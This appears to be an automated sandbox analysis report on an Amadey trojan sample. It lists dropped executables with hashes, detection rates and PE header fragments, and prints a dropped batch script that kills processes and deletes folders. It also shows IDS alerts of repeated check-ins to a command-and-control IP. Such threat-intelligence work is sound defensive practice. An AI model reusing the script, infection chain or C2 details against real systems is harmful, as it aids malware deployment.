Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\6d7d43e19d7fc0006285b85b7e2c8702\System.Windows.Forms.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\1sb1iwyem7[1].exe Download File
Process:	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.5219280948873621
Encrypted:	false
SSDEEP:	3:hn:h
MD5:	FDA44910DEB1A460BE4AC5D56D61D837
SHA1:	F6D0C643351580307B2EAA6A7560E76965496BC7
SHA-256:	933B971C6388D594A23FA1559825DB5BEC8ADE2DB1240AA8FC9D0C684949E8C9
SHA-512:	57DDA9AA7C29F960CD7948A4E4567844D3289FA729E9E388E7F4EDCBDF16BF6A94536598B4F9FF8942849F1F96BD3C00BC24A75E748A36FBF2A145F63BF904C1
Malicious:	false
Reputation:	unknown
Preview:	0....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\5mgcqk6jl[1].exe Download File
Process:	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	1.5219280948873621
Encrypted:	false
SSDEEP:	3:hn:h
MD5:	FDA44910DEB1A460BE4AC5D56D61D837
SHA1:	F6D0C643351580307B2EAA6A7560E76965496BC7
SHA-256:	933B971C6388D594A23FA1559825DB5BEC8ADE2DB1240AA8FC9D0C684949E8C9
SHA-512:	57DDA9AA7C29F960CD7948A4E4567844D3289FA729E9E388E7F4EDCBDF16BF6A94536598B4F9FF8942849F1F96BD3C00BC24A75E748A36FBF2A145F63BF904C1
Malicious:	false
Reputation:	unknown
Preview:	0....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\1sb1iwyem7[1].exe Download File
Process:	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257266
Entropy (8bit):	7.467212933185433
Encrypted:	false
SSDEEP:	6144:j5VP9Ge3+hoAvdeJBBLncZ0+JPC3SFEXBmbJyvUbclQaLZEHVzNoyn:j5393whFOBBz+NdFEXEJyMmJL+5oyn
MD5:	8AB82DE9E761FA26308DAC69D6B855A6
SHA1:	BF48F2128E9F534F196CDB7516BE14A16B1A4364
SHA-256:	584C532790655A559EE84DA2FD1E78FC6F1C462FA8CBBBFA078A71F0FB82BAAC
SHA-512:	6A959D9E30D5F7F5CD7B8F59CF78AFDC0F53F09137DA240D360CDD5D34C939B0E074EE0DACA4DA01E1180AC8D90E268912382CEDDBC3573711D1EB4DD29602DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 57%
Reputation:	unknown
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...JD.W............................_.............@.................................................................................p..MN...........................................................................................................text...J........................... ..`.rdata...A.......B..................@..@.data....L... ......................@....rsrc...MN...p...P..................@..@........VQ....l.A.......%.........^.V...e....@.A..F8......^.j..q.....A..V........N\..p.A..7...F8......^.V...ee......A..F8......^.3....U...h.M......h'B...u.j,Y.A,..V.5.(B..M.P.5d'B.j..h....t-.u...'B..7..3....'B..F.u....Y.M..Me....^.....'B.3...VWj...Y3...._...^.V...v\.P...Y....e...D$..t.V.;...Y..^....=.'B..V..u...t'B..u..:.....u...@..^...'B...^....U..Q.A..e.....U.RP.Q..E...U..U.SV.u.W3.j.Y.$.A.3...t..u.j.Y.0.A.3..u..M.;.t..A....A.3.....@.._^[]....L$..I..A.u.Q...Y3.....l$......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\5mgcqk6jl[1].exe Download File
Process:	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	238319
Entropy (8bit):	7.390286232132312
Encrypted:	false
SSDEEP:	6144:t5VP9Ge3+hoAvdeJBBLncZZRiu+EGRV+kMDU9Gaz:t5393whFOBBmYu+E2VXMDbE
MD5:	EC0FC802166AE83C519C5AEA89D65A53
SHA1:	CAEFB02DC62F18F9B3429974C348A6BDE08E7D64
SHA-256:	F6311D337EFDC5C227FEBD1E8E36079B7CACF31AEEBB5888AEC2877BF3EE2F6A
SHA-512:	A254F9904C096D66CD26FEBC45697691995AD43C86E73CDECA3412228C665D6145829AF59CC135BBF242E12929EAB39A9C2928DD3D3F8BA32423D8FCE1AB59BC
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 15%, Browse Antivirus: ReversingLabs, Detection: 57%
Reputation:	unknown
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...JD.W............................_.............@..................................................................................p...M...........................................................................................................text...J........................... ..`.rdata...A.......B..................@..@.data....L... ......................@....rsrc....M...p...N..................@..@........VQ....l.A.......%.........^.V...e....@.A..F8......^.j..q.....A..V........N\..p.A..7...F8......^.V...ee......A..F8......^.3....U...h.M......h'B...u.j,Y.A,..V.5.(B..M.P.5d'B.j..h....t-.u...'B..7..3....'B..F.u....Y.M..Me....^.....'B.3...VWj...Y3...._...^.V...v\.P...Y....e...D$..t.V.;...Y..^....=.'B..V..u...t'B..u..:.....u...@..^...'B...^....U..Q.A..e.....U.RP.Q..E...U..U.SV.u.W3.j.Y.$.A.3...t..u.j.Y.0.A.3..u..M.;.t..A....A.3.....@.._^[]....L$..I..A.u.Q...Y3.....l$......

C:\Users\user\AppData\Local\Temp\152138533219 Download File
Process:	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	17078614
Entropy (8bit):	7.92588991489629
Encrypted:	false
SSDEEP:	98304:qfPfPf2AAGammmmmmmmm6QOXz1AAAA4JAAAAAAAE:cXXgDi
MD5:	FA87787104B49B2ECFF0511DBEE27E97
SHA1:	6A4F22405BCCC43986FBEB2D3551F818726131E4
SHA-256:	7EF5867CA358DD88BDCAB3BE43F92B7BD0D6FFD1E3CA710DCAC41593E2CAC949
SHA-512:	1782A917F15717204096F600E99B7C0EC25A5FA43039DEAE590C13CA3F077B75E58BAC8998E687E0C8BDFDB8F58DE56A73F6B752ADCDDD25C4D87881846A2B83
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..01KK...lq\....xcS.m..#Hm.....T......<!...wq5...v1.?S.....rHj-.U:...5............\|..+.......}...<.>...H.......Wo.CK`/l.1./...C...W.....,1....R.0.W.M.!.l7.~S....."SW.^..c......^s........u,-n....A..?.2.....l.(.?....7..~.q$.f..1\.q[.....oS:.gOY".....f-%.P.b.Z....>.....4+..b.Y&..F...)Pq.L....... .....H.#.\|..).?.H.'.\|....).?m.....h.t......\|4.%...d....

C:\Users\user\AppData\Local\Temp\15213853321935212556 Download File
Process:	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
File Type:	empty
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Reputation:	unknown
Preview:

C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257266
Entropy (8bit):	7.467212933185433
Encrypted:	false
SSDEEP:	6144:j5VP9Ge3+hoAvdeJBBLncZ0+JPC3SFEXBmbJyvUbclQaLZEHVzNoyn:j5393whFOBBz+NdFEXEJyMmJL+5oyn
MD5:	8AB82DE9E761FA26308DAC69D6B855A6
SHA1:	BF48F2128E9F534F196CDB7516BE14A16B1A4364
SHA-256:	584C532790655A559EE84DA2FD1E78FC6F1C462FA8CBBBFA078A71F0FB82BAAC
SHA-512:	6A959D9E30D5F7F5CD7B8F59CF78AFDC0F53F09137DA240D360CDD5D34C939B0E074EE0DACA4DA01E1180AC8D90E268912382CEDDBC3573711D1EB4DD29602DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 57%
Reputation:	unknown
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...JD.W............................_.............@.................................................................................p..MN...........................................................................................................text...J........................... ..`.rdata...A.......B..................@..@.data....L... ......................@....rsrc...MN...p...P..................@..@........VQ....l.A.......%.........^.V...e....@.A..F8......^.j..q.....A..V........N\..p.A..7...F8......^.V...ee......A..F8......^.3....U...h.M......h'B...u.j,Y.A,..V.5.(B..M.P.5d'B.j..h....t-.u...'B..7..3....'B..F.u....Y.M..Me....^.....'B.3...VWj...Y3...._...^.V...v\.P...Y....e...D$..t.V.;...Y..^....=.'B..V..u...t'B..u..:.....u...@..^...'B...^....U..Q.A..e.....U.RP.Q..E...U..U.SV.u.W3.j.Y.$.A.3...t..u.j.Y.0.A.3..u..M.;.t..A....A.3.....@.._^[]....L$..I..A.u.Q...Y3.....l$......

C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd Download File
Process:	C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Reputation:	unknown
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\a.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	203264
Entropy (8bit):	6.469979435235171
Encrypted:	false
SSDEEP:	3072:W1/1YsM8E0YD0ixsstk7bRs4GxbVr9r+zHG/2zZNuAKq3mUhbwHMNwlWXc4Emi:W19Y0/ixsNHK4GxV192/uAKq/Ylec
MD5:	F8899BB72B91E110CD5D6DA17861369C
SHA1:	4339827E0FE824D85404D2EF11533612FD4CE6B2
SHA-256:	CFF537E4A1E866D2B159BA165511AAFE2298AAE94836B3165A2B42A1E7CF3DE5
SHA-512:	C03E53F5CEC7F112F85865EBE8432D2516A63051707B9AB3AAE7FCFBDDC8DD3788570A9B47B174F48119FD87FF87172D6C0D65ED35605F7C5854BA9DEFAAF80D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........................:........p....p....p...........:...>....>.X...>....Rich............................PE..L....M&a.................^...................p....@.......................................@.................................x........P.......................`...... ...p...............................@............p..T............................text...V\.......^.................. ..`.rdata.. ....p.......b..............@..@.data...tE..........................@....rsrc........P......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	238319
Entropy (8bit):	7.390286232132312
Encrypted:	false
SSDEEP:	6144:t5VP9Ge3+hoAvdeJBBLncZZRiu+EGRV+kMDU9Gaz:t5393whFOBBmYu+E2VXMDbE
MD5:	EC0FC802166AE83C519C5AEA89D65A53
SHA1:	CAEFB02DC62F18F9B3429974C348A6BDE08E7D64
SHA-256:	F6311D337EFDC5C227FEBD1E8E36079B7CACF31AEEBB5888AEC2877BF3EE2F6A
SHA-512:	A254F9904C096D66CD26FEBC45697691995AD43C86E73CDECA3412228C665D6145829AF59CC135BBF242E12929EAB39A9C2928DD3D3F8BA32423D8FCE1AB59BC
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 15%, Browse Antivirus: ReversingLabs, Detection: 57%
Reputation:	unknown
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L...JD.W............................_.............@..................................................................................p...M...........................................................................................................text...J........................... ..`.rdata...A.......B..................@..@.data....L... ......................@....rsrc....M...p...N..................@..@........VQ....l.A.......%.........^.V...e....@.A..F8......^.j..q.....A..V........N\..p.A..7...F8......^.V...ee......A..F8......^.3....U...h.M......h'B...u.j,Y.A,..V.5.(B..M.P.5d'B.j..h....t-.u...'B..7..3....'B..F.u....Y.M..Me....^.....'B.3...VWj...Y3...._...^.V...v\.P...Y....e...D$..t.V.;...Y..^....=.'B..V..u...t'B..u..:.....u...@..^...'B...^....U..Q.A..e.....U.RP.Q..E...U..U.SV.u.W3.j.Y.$.A.3...t..u.j.Y.0.A.3..u..M.;.t..A....A.3.....@.._^[]....L$..I..A.u.Q...Y3.....l$......

C:\Users\user\AppData\Local\Temp\a.exe Download File
Process:	C:\Users\user\Desktop\mvoElayshk.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	203264
Entropy (8bit):	6.469979435235171
Encrypted:	false
SSDEEP:	3072:W1/1YsM8E0YD0ixsstk7bRs4GxbVr9r+zHG/2zZNuAKq3mUhbwHMNwlWXc4Emi:W19Y0/ixsNHK4GxV192/uAKq/Ylec
MD5:	F8899BB72B91E110CD5D6DA17861369C
SHA1:	4339827E0FE824D85404D2EF11533612FD4CE6B2
SHA-256:	CFF537E4A1E866D2B159BA165511AAFE2298AAE94836B3165A2B42A1E7CF3DE5
SHA-512:	C03E53F5CEC7F112F85865EBE8432D2516A63051707B9AB3AAE7FCFBDDC8DD3788570A9B47B174F48119FD87FF87172D6C0D65ED35605F7C5854BA9DEFAAF80D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........................:........p....p....p...........:...>....>.X...>....Rich............................PE..L....M&a.................^...................p....@.......................................@.................................x........P.......................`...... ...p...............................@............p..T............................text...V\.......^.................. ..`.rdata.. ....p.......b..............@..@.data...tE..........................@....rsrc........P......................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.451726149263706
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	mvoElayshk.exe
File size:	209408
MD5:	231c758869bf91299b69a8aae619aa48
SHA1:	33f0e34d02c2a2fbe76a8d80148c9b3bb9647656
SHA256:	6a5c86378beea3c4aef5f4a88b8367b1f4a6a7a4578646c081712f2ddda5192f
SHA512:	5363863a319598fc33abdd6d4d876e8e59e143de277e2c3cd3db7110407a01ddd3224c7dff044dcd8be63d2d457c15f5ad8d0d544aa91704bffb9b15ac3eb058
SSDEEP:	3072:I1/1YsM8E0YD0ixsstk7bRs4GxbVr9r+zHG/2zZNuAKq3mUhbwHMNwlWXc4EmioN:I19Y0/ixsNHK4GxV192/uAKq/Ylec
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....'a.................(...........G... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/29/21-22:27:08.914541	TCP	2027700	ET TROJAN Amadey CnC Check-In	49735	80	192.168.2.4	46.17.96.36
08/29/21-22:27:40.733958	TCP	2027700	ET TROJAN Amadey CnC Check-In	49803	80	192.168.2.4	46.17.96.36
08/29/21-22:27:40.957470	TCP	2027700	ET TROJAN Amadey CnC Check-In	49805	80	192.168.2.4	46.17.96.36
08/29/21-22:27:41.143051	TCP	2027700	ET TROJAN Amadey CnC Check-In	49804	80	192.168.2.4	46.17.96.36
08/29/21-22:27:41.436785	TCP	2027700	ET TROJAN Amadey CnC Check-In	49806	80	192.168.2.4	46.17.96.36
08/29/21-22:27:41.665491	TCP	2027700	ET TROJAN Amadey CnC Check-In	49808	80	192.168.2.4	46.17.96.36
08/29/21-22:27:41.918453	TCP	2027700	ET TROJAN Amadey CnC Check-In	49809	80	192.168.2.4	46.17.96.36
08/29/21-22:27:42.215984	TCP	2027700	ET TROJAN Amadey CnC Check-In	49811	80	192.168.2.4	46.17.96.36
08/29/21-22:27:42.498218	TCP	2027700	ET TROJAN Amadey CnC Check-In	49813	80	192.168.2.4	46.17.96.36
08/29/21-22:27:42.782446	TCP	2027700	ET TROJAN Amadey CnC Check-In	49814	80	192.168.2.4	46.17.96.36
08/29/21-22:27:43.033591	TCP	2027700	ET TROJAN Amadey CnC Check-In	49816	80	192.168.2.4	46.17.96.36
08/29/21-22:27:43.265582	TCP	2027700	ET TROJAN Amadey CnC Check-In	49817	80	192.168.2.4	46.17.96.36
08/29/21-22:27:43.514678	TCP	2027700	ET TROJAN Amadey CnC Check-In	49819	80	192.168.2.4	46.17.96.36
08/29/21-22:27:43.750334	TCP	2027700	ET TROJAN Amadey CnC Check-In	49820	80	192.168.2.4	46.17.96.36
08/29/21-22:27:43.973075	TCP	2027700	ET TROJAN Amadey CnC Check-In	49822	80	192.168.2.4	46.17.96.36
08/29/21-22:27:44.230236	TCP	2027700	ET TROJAN Amadey CnC Check-In	49823	80	192.168.2.4	46.17.96.36
08/29/21-22:27:44.496657	TCP	2027700	ET TROJAN Amadey CnC Check-In	49825	80	192.168.2.4	46.17.96.36
08/29/21-22:27:44.719124	TCP	2027700	ET TROJAN Amadey CnC Check-In	49827	80	192.168.2.4	46.17.96.36
08/29/21-22:27:44.935471	TCP	2027700	ET TROJAN Amadey CnC Check-In	49828	80	192.168.2.4	46.17.96.36
08/29/21-22:27:45.161400	TCP	2027700	ET TROJAN Amadey CnC Check-In	49830	80	192.168.2.4	46.17.96.36
08/29/21-22:27:45.407158	TCP	2027700	ET TROJAN Amadey CnC Check-In	49831	80	192.168.2.4	46.17.96.36
08/29/21-22:27:45.628518	TCP	2027700	ET TROJAN Amadey CnC Check-In	49833	80	192.168.2.4	46.17.96.36
08/29/21-22:27:45.870541	TCP	2027700	ET TROJAN Amadey CnC Check-In	49834	80	192.168.2.4	46.17.96.36
08/29/21-22:27:46.574081	TCP	2027700	ET TROJAN Amadey CnC Check-In	49835	80	192.168.2.4	46.17.96.36
08/29/21-22:27:46.811566	TCP	2027700	ET TROJAN Amadey CnC Check-In	49836	80	192.168.2.4	46.17.96.36
08/29/21-22:27:47.049220	TCP	2027700	ET TROJAN Amadey CnC Check-In	49838	80	192.168.2.4	46.17.96.36
08/29/21-22:27:47.310087	TCP	2027700	ET TROJAN Amadey CnC Check-In	49839	80	192.168.2.4	46.17.96.36
08/29/21-22:27:47.537049	TCP	2027700	ET TROJAN Amadey CnC Check-In	49841	80	192.168.2.4	46.17.96.36
08/29/21-22:27:47.769836	TCP	2027700	ET TROJAN Amadey CnC Check-In	49843	80	192.168.2.4	46.17.96.36
08/29/21-22:27:47.991497	TCP	2027700	ET TROJAN Amadey CnC Check-In	49844	80	192.168.2.4	46.17.96.36
08/29/21-22:27:48.238158	TCP	2027700	ET TROJAN Amadey CnC Check-In	49845	80	192.168.2.4	46.17.96.36
08/29/21-22:27:48.456253	TCP	2027700	ET TROJAN Amadey CnC Check-In	49846	80	192.168.2.4	46.17.96.36
08/29/21-22:27:48.691605	TCP	2027700	ET TROJAN Amadey CnC Check-In	49847	80	192.168.2.4	46.17.96.36
08/29/21-22:27:48.944394	TCP	2027700	ET TROJAN Amadey CnC Check-In	49848	80	192.168.2.4	46.17.96.36
08/29/21-22:27:49.178303	TCP	2027700	ET TROJAN Amadey CnC Check-In	49850	80	192.168.2.4	46.17.96.36
08/29/21-22:27:49.396510	TCP	2027700	ET TROJAN Amadey CnC Check-In	49851	80	192.168.2.4	46.17.96.36
08/29/21-22:27:49.615452	TCP	2027700	ET TROJAN Amadey CnC Check-In	49853	80	192.168.2.4	46.17.96.36
08/29/21-22:27:49.860125	TCP	2027700	ET TROJAN Amadey CnC Check-In	49854	80	192.168.2.4	46.17.96.36
08/29/21-22:27:50.132224	TCP	2027700	ET TROJAN Amadey CnC Check-In	49856	80	192.168.2.4	46.17.96.36
08/29/21-22:27:50.362005	TCP	2027700	ET TROJAN Amadey CnC Check-In	49857	80	192.168.2.4	46.17.96.36
08/29/21-22:27:50.600866	TCP	2027700	ET TROJAN Amadey CnC Check-In	49858	80	192.168.2.4	46.17.96.36
08/29/21-22:27:50.851328	TCP	2027700	ET TROJAN Amadey CnC Check-In	49860	80	192.168.2.4	46.17.96.36
08/29/21-22:27:51.074292	TCP	2027700	ET TROJAN Amadey CnC Check-In	49861	80	192.168.2.4	46.17.96.36
08/29/21-22:27:52.574786	TCP	2027700	ET TROJAN Amadey CnC Check-In	49863	80	192.168.2.4	46.17.96.36
08/29/21-22:27:52.841492	TCP	2027700	ET TROJAN Amadey CnC Check-In	49864	80	192.168.2.4	46.17.96.36
08/29/21-22:27:53.114259	TCP	2027700	ET TROJAN Amadey CnC Check-In	49866	80	192.168.2.4	46.17.96.36
08/29/21-22:27:53.348179	TCP	2027700	ET TROJAN Amadey CnC Check-In	49868	80	192.168.2.4	46.17.96.36
08/29/21-22:27:53.580915	TCP	2027700	ET TROJAN Amadey CnC Check-In	49869	80	192.168.2.4	46.17.96.36
08/29/21-22:27:53.800891	TCP	2027700	ET TROJAN Amadey CnC Check-In	49870	80	192.168.2.4	46.17.96.36
08/29/21-22:27:54.037112	TCP	2027700	ET TROJAN Amadey CnC Check-In	49871	80	192.168.2.4	46.17.96.36
08/29/21-22:27:55.386156	TCP	2027700	ET TROJAN Amadey CnC Check-In	49872	80	192.168.2.4	46.17.96.36
08/29/21-22:27:55.649153	TCP	2027700	ET TROJAN Amadey CnC Check-In	49874	80	192.168.2.4	46.17.96.36
08/29/21-22:27:56.133362	TCP	2027700	ET TROJAN Amadey CnC Check-In	49875	80	192.168.2.4	46.17.96.36
08/29/21-22:27:57.047902	TCP	2027700	ET TROJAN Amadey CnC Check-In	49877	80	192.168.2.4	46.17.96.36
08/29/21-22:27:57.412005	TCP	2027700	ET TROJAN Amadey CnC Check-In	49878	80	192.168.2.4	46.17.96.36
08/29/21-22:27:58.270724	TCP	2027700	ET TROJAN Amadey CnC Check-In	49879	80	192.168.2.4	46.17.96.36
08/29/21-22:27:58.540244	TCP	2027700	ET TROJAN Amadey CnC Check-In	49881	80	192.168.2.4	46.17.96.36
08/29/21-22:27:58.811076	TCP	2027700	ET TROJAN Amadey CnC Check-In	49882	80	192.168.2.4	46.17.96.36
08/29/21-22:27:59.039788	TCP	2027700	ET TROJAN Amadey CnC Check-In	49884	80	192.168.2.4	46.17.96.36
08/29/21-22:27:59.288894	TCP	2027700	ET TROJAN Amadey CnC Check-In	49885	80	192.168.2.4	46.17.96.36
08/29/21-22:27:59.530546	TCP	2027700	ET TROJAN Amadey CnC Check-In	49886	80	192.168.2.4	46.17.96.36
08/29/21-22:27:59.772951	TCP	2027700	ET TROJAN Amadey CnC Check-In	49888	80	192.168.2.4	46.17.96.36
08/29/21-22:28:00.000924	TCP	2027700	ET TROJAN Amadey CnC Check-In	49889	80	192.168.2.4	46.17.96.36
08/29/21-22:28:00.239122	TCP	2027700	ET TROJAN Amadey CnC Check-In	49891	80	192.168.2.4	46.17.96.36
08/29/21-22:28:00.470862	TCP	2027700	ET TROJAN Amadey CnC Check-In	49893	80	192.168.2.4	46.17.96.36
08/29/21-22:28:00.689237	TCP	2027700	ET TROJAN Amadey CnC Check-In	49894	80	192.168.2.4	46.17.96.36
08/29/21-22:28:00.925253	TCP	2027700	ET TROJAN Amadey CnC Check-In	49896	80	192.168.2.4	46.17.96.36
08/29/21-22:28:01.161342	TCP	2027700	ET TROJAN Amadey CnC Check-In	49897	80	192.168.2.4	46.17.96.36
08/29/21-22:28:01.374512	TCP	2027700	ET TROJAN Amadey CnC Check-In	49899	80	192.168.2.4	46.17.96.36
08/29/21-22:28:01.609302	TCP	2027700	ET TROJAN Amadey CnC Check-In	49900	80	192.168.2.4	46.17.96.36
08/29/21-22:28:01.840263	TCP	2027700	ET TROJAN Amadey CnC Check-In	49902	80	192.168.2.4	46.17.96.36
08/29/21-22:28:02.078276	TCP	2027700	ET TROJAN Amadey CnC Check-In	49903	80	192.168.2.4	46.17.96.36
08/29/21-22:28:02.300125	TCP	2027700	ET TROJAN Amadey CnC Check-In	49904	80	192.168.2.4	46.17.96.36
08/29/21-22:28:02.539151	TCP	2027700	ET TROJAN Amadey CnC Check-In	49905	80	192.168.2.4	46.17.96.36
08/29/21-22:28:02.816734	TCP	2027700	ET TROJAN Amadey CnC Check-In	49906	80	192.168.2.4	46.17.96.36
08/29/21-22:28:03.052992	TCP	2027700	ET TROJAN Amadey CnC Check-In	49908	80	192.168.2.4	46.17.96.36
08/29/21-22:28:03.286887	TCP	2027700	ET TROJAN Amadey CnC Check-In	49909	80	192.168.2.4	46.17.96.36
08/29/21-22:28:03.535960	TCP	2027700	ET TROJAN Amadey CnC Check-In	49911	80	192.168.2.4	46.17.96.36
08/29/21-22:28:03.836006	TCP	2027700	ET TROJAN Amadey CnC Check-In	49912	80	192.168.2.4	46.17.96.36
08/29/21-22:28:04.121619	TCP	2027700	ET TROJAN Amadey CnC Check-In	49913	80	192.168.2.4	46.17.96.36
08/29/21-22:28:04.365881	TCP	2027700	ET TROJAN Amadey CnC Check-In	49915	80	192.168.2.4	46.17.96.36
08/29/21-22:28:04.677036	TCP	2027700	ET TROJAN Amadey CnC Check-In	49916	80	192.168.2.4	46.17.96.36
08/29/21-22:28:04.908091	TCP	2027700	ET TROJAN Amadey CnC Check-In	49918	80	192.168.2.4	46.17.96.36
08/29/21-22:28:05.222320	TCP	2027700	ET TROJAN Amadey CnC Check-In	49920	80	192.168.2.4	46.17.96.36
08/29/21-22:28:05.492662	TCP	2027700	ET TROJAN Amadey CnC Check-In	49921	80	192.168.2.4	46.17.96.36
08/29/21-22:28:05.743714	TCP	2027700	ET TROJAN Amadey CnC Check-In	49923	80	192.168.2.4	46.17.96.36
08/29/21-22:28:06.044957	TCP	2027700	ET TROJAN Amadey CnC Check-In	49924	80	192.168.2.4	46.17.96.36
08/29/21-22:28:06.278475	TCP	2027700	ET TROJAN Amadey CnC Check-In	49926	80	192.168.2.4	46.17.96.36
08/29/21-22:28:06.559009	TCP	2027700	ET TROJAN Amadey CnC Check-In	49927	80	192.168.2.4	46.17.96.36
08/29/21-22:28:06.790170	TCP	2027700	ET TROJAN Amadey CnC Check-In	49929	80	192.168.2.4	46.17.96.36
08/29/21-22:28:07.138974	TCP	2027700	ET TROJAN Amadey CnC Check-In	49931	80	192.168.2.4	46.17.96.36
08/29/21-22:28:07.363717	TCP	2027700	ET TROJAN Amadey CnC Check-In	49932	80	192.168.2.4	46.17.96.36
08/29/21-22:28:07.653723	TCP	2027700	ET TROJAN Amadey CnC Check-In	49934	80	192.168.2.4	46.17.96.36
08/29/21-22:28:08.131700	TCP	2027700	ET TROJAN Amadey CnC Check-In	49935	80	192.168.2.4	46.17.96.36
08/29/21-22:28:08.439291	TCP	2027700	ET TROJAN Amadey CnC Check-In	49937	80	192.168.2.4	46.17.96.36
